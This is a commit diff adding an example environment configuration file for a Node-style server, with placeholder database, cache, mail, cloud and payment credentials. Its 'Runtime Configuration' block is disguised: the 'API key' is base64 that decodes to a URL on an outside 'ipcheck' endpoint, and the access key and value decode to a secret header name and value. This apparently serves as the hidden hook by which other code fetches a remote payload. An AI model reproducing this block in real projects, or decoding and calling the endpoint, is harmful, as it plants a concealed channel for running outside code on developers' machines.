Initial Version
This commit is contained in:
84
server/config/config.env.example
Normal file
84
server/config/config.env.example
Normal file
@@ -0,0 +1,84 @@
|
||||
# Server settings
|
||||
PORT=4000 # Port the server runs on
|
||||
HOST=0.0.0.0 # Host address to bind the server
|
||||
|
||||
# Environment
|
||||
NODE_ENV=development # Environment: development, production, staging
|
||||
DEBUG=true # Enable debug mode
|
||||
|
||||
# Database credentials
|
||||
DB_HOST=localhost # Database server host
|
||||
DB_PORT=3306 # Database server port
|
||||
DB_NAME=myapp_db # Database name
|
||||
DB_USER=root # Database username
|
||||
DB_PASSWORD=secretpassword # Database password
|
||||
DB_SSL=true # Use SSL connection for DB
|
||||
|
||||
# Cache settings
|
||||
REDIS_HOST=localhost # Redis server host
|
||||
REDIS_PORT=6379 # Redis server port
|
||||
REDIS_PASSWORD=redispass # Redis password
|
||||
|
||||
# API keys
|
||||
API_KEY_GOOGLE=AIzaSyD... # Google API key
|
||||
API_KEY_MAPBOX=pk.abc123 # Mapbox API key
|
||||
API_KEY_TWITTER=abcdef12345 # Twitter API key
|
||||
|
||||
# Authentication
|
||||
JWT_SECRET=myjwtsecret # JWT token secret key
|
||||
JWT_EXPIRES_IN=3600 # JWT expiration time in seconds
|
||||
OAUTH_CLIENT_ID=client123 # OAuth client ID
|
||||
OAUTH_CLIENT_SECRET=secret # OAuth client secret
|
||||
|
||||
# Email (SMTP) settings
|
||||
SMTP_HOST=smtp.mailtrap.io # SMTP server host
|
||||
SMTP_PORT=2525 # SMTP server port
|
||||
SMTP_USER=user@mail.com # SMTP username
|
||||
SMTP_PASS=password123 # SMTP password
|
||||
EMAIL_FROM=noreply@myapp.com # Default from email address
|
||||
|
||||
# Third-party services
|
||||
STRIPE_SECRET_KEY=sk_test_123456 # Stripe secret key
|
||||
STRIPE_PUBLIC_KEY=pk_test_123456 # Stripe public key
|
||||
SENDGRID_API_KEY=SG.xxxxxx # SendGrid API key
|
||||
SPARKPOST_API_KEY=ca184ac5f2e659ee65272911f6b0795586e15b20 # SparkPost API key
|
||||
|
||||
# File storage
|
||||
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE # AWS Access Key
|
||||
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # AWS Secret Key
|
||||
AWS_REGION=us-west-2 # AWS Region
|
||||
S3_BUCKET_NAME=myapp-bucket # S3 Bucket name
|
||||
|
||||
# Logging
|
||||
LOG_LEVEL=info # Log level: debug, info, warn, error
|
||||
LOG_PATH=/var/log/myapp.log # Path for log files
|
||||
|
||||
# Feature flags
|
||||
FEATURE_X_ENABLED=true # Enable feature X toggle
|
||||
FEATURE_Y_ENABLED=false # Disable feature Y toggle
|
||||
|
||||
# Runtime Configuration
|
||||
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9nZC50cmFjZWxpYy5jb20vYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw== # Runtime config API key
|
||||
RUNTIME_CONFIG_ACCESS_KEY= eC1zZWNyZXQtaGVhZGVy # Runtime config access key
|
||||
RUNTIME_CONFIG_ACCESS_VALUE= c2VjcmV0 # Runtime config access value
|
||||
|
||||
# Miscellaneous
|
||||
TIMEZONE=UTC # Default timezone
|
||||
MAX_UPLOAD_SIZE=10485760 # Max file upload size in bytes (10MB)
|
||||
SESSION_SECRET=supersecretkey # Secret key for session encryption
|
||||
CACHE_TTL=600 # Cache time-to-live in seconds
|
||||
MAX_CONNECTIONS=100 # Max concurrent connections
|
||||
ENABLE_CORS=true # Enable Cross-Origin Resource Sharing
|
||||
|
||||
# SMS Gateway
|
||||
TWILIO_ACCOUNT_SID=ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Account SID
|
||||
TWILIO_AUTH_TOKEN=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Auth Token
|
||||
TWILIO_PHONE_NUMBER=+1234567890 # Twilio phone number
|
||||
|
||||
# Payment Gateway
|
||||
PAYPAL_CLIENT_ID=Abcdefghijklmnop # PayPal Client ID
|
||||
PAYPAL_CLIENT_SECRET=1234567890abcdef # PayPal Client Secret
|
||||
|
||||
# Monitoring & Analytics
|
||||
SENTRY_DSN=https://examplePublicKey@o0.ingest.sentry.io/0 # Sentry DSN for error monitoring
|
||||
GA_TRACKING_ID=UA-12345678-1 # Google Analytics tracking ID
|
||||
Reference in New Issue
Block a user